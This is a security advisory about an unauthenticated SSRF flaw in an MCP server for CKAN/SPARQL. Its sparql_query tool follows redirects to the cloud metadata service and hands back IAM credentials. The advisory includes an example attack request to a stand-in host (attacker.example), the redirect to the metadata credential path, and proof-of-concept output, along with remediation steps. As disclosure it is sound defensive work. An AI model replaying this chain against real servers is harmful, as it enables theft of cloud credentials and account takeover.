Skip to main content
Menu
Advisories

Unauthenticated remote SSRF to cloud metadata → IAM credential theft

GHSA-VMRR-V4XP-42CXPublished Updated GitHub

Description

On the project's shipped HTTP deployment, an unauthenticated remote attacker can make the server issue requests to internal-only addresses and read the responses. Pointing the sparql_query tool at an attacker-controlled endpoint that redirects to the cloud instance-metadata service (http://169.254.169.254/…) causes the server to follow the redirect (no re-validation), fetch the metadata, and return it — including, on IMDSv1, temporary IAM role credentials. This yields remote credential theft and lateral movement into the victim's cloud account.

Why it is reachable and unauthenticated

  1. No authentication / network-exposed (02). src/transport/http.ts serves /mcp with no auth (authorization_not_supported), no DNS-rebinding protection, and the shipped docker-compose.yml runs it as TRANSPORT: http published on 0.0.0.0:3000. Any client that can reach the port can invoke any tool.
  2. Redirects are followed without re-validation (01). querySparqlEndpoint validates only the initial endpoint host (assertHostnameResolvesSafe), then calls the global fetch(), which follows HTTP redirects by default. The redirect target (169.254.169.254, or any internal host) is never re-checked against the SSRF guards. (DNS rebinding achieves the same without a redirect.)
  3. The internal response is returned (08). SPARQL results — and, on error, the reflected upstream body — are handed back in the tool result, so the metadata/credentials reach the attacker.

Note: the strong DNS-pinning guard (createSsrfSafeLookup) protects the axios CKAN path and is not defeated here — it simply is not on the fetch path, and it cannot help once a redirect points elsewhere.

Attack

POST /mcp   (no credentials)
{ "jsonrpc":"2.0","id":1,"method":"tools/call",
  "params":{ "name":"sparql_query",
             "arguments":{ "endpoint_url":"https://attacker.example/sparql",
                           "query":"SELECT * WHERE { ?s ?p ?o } LIMIT 1" } } }

https://attacker.example/sparql replies:

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

The server follows it and returns the credential document in the tool result.

Impact

  • Theft of cloud IAM credentials (AWS IMDSv1 …/iam/security-credentials/…; equivalent metadata on GCP/Azure/DigitalOcean), enabling account takeover / lateral movement with the instance role's permissions.
  • Arbitrary internal SSRF to any host reachable from the server, with response bodies returned (read/write-by-GET internal services, admin panels, etc.).
  • Unauthenticated, no user interaction, fully remote where the port is reachable (the documented container deployment binds all interfaces).

Mitigating conditions: Cloudflare Workers deployments are protected by the platform egress sandbox (internal addresses unreachable). IMDSv2 (session-token required) blunts the AWS-credential case but not general internal SSRF. Even so, the shipped Node/Docker deployment on a cloud VM with IMDSv1 is fully exploitable.

Proof of concept

poc/critical-chain-poc.mjs runs the faithful guard sequence and the unauthenticated-tool-call entrypoint; an attacker "endpoint" 302-redirects to a stand-in metadata service, and the credentials are returned to the caller:

Unauthenticated tool result returned to the remote caller:
  {"Code":"Success",...,"AccessKeyId":"ASIA_STOLEN_EXAMPLE","SecretAccessKey":"...","Token":"..."}

RESULT: CRITICAL — unauthenticated caller received cloud IAM credentials via SSRF redirect.

(See advisory 01's PoC for the raw redirect-follow, and 02's for the unauthenticated transport.)

Remediation (priority order)

  1. Close the SSRF (01): on the fetch paths, disable auto-redirects (redirect: "manual") and re-run validateServerUrl + assertHostnameResolvesSafe on each hop, or pin to a validated IP; fail closed on DNS errors.
  2. Authenticate + lock down the transport (02): require auth, enable the SDK's DNS-rebinding protection (enableDnsRebindingProtection, allowedHosts, allowedOrigins), and bind 127.0.0.1 (publish 127.0.0.1:3000:3000 in docker-compose) behind an authenticating proxy.
  3. Stop reflecting internal bodies (08): return generic errors; never echo raw upstream responses.
  4. Defense in depth: require IMDSv2 / block link-local egress at the host/network.

Affected versions

References

GitHub · ondata/ckan-mcp-server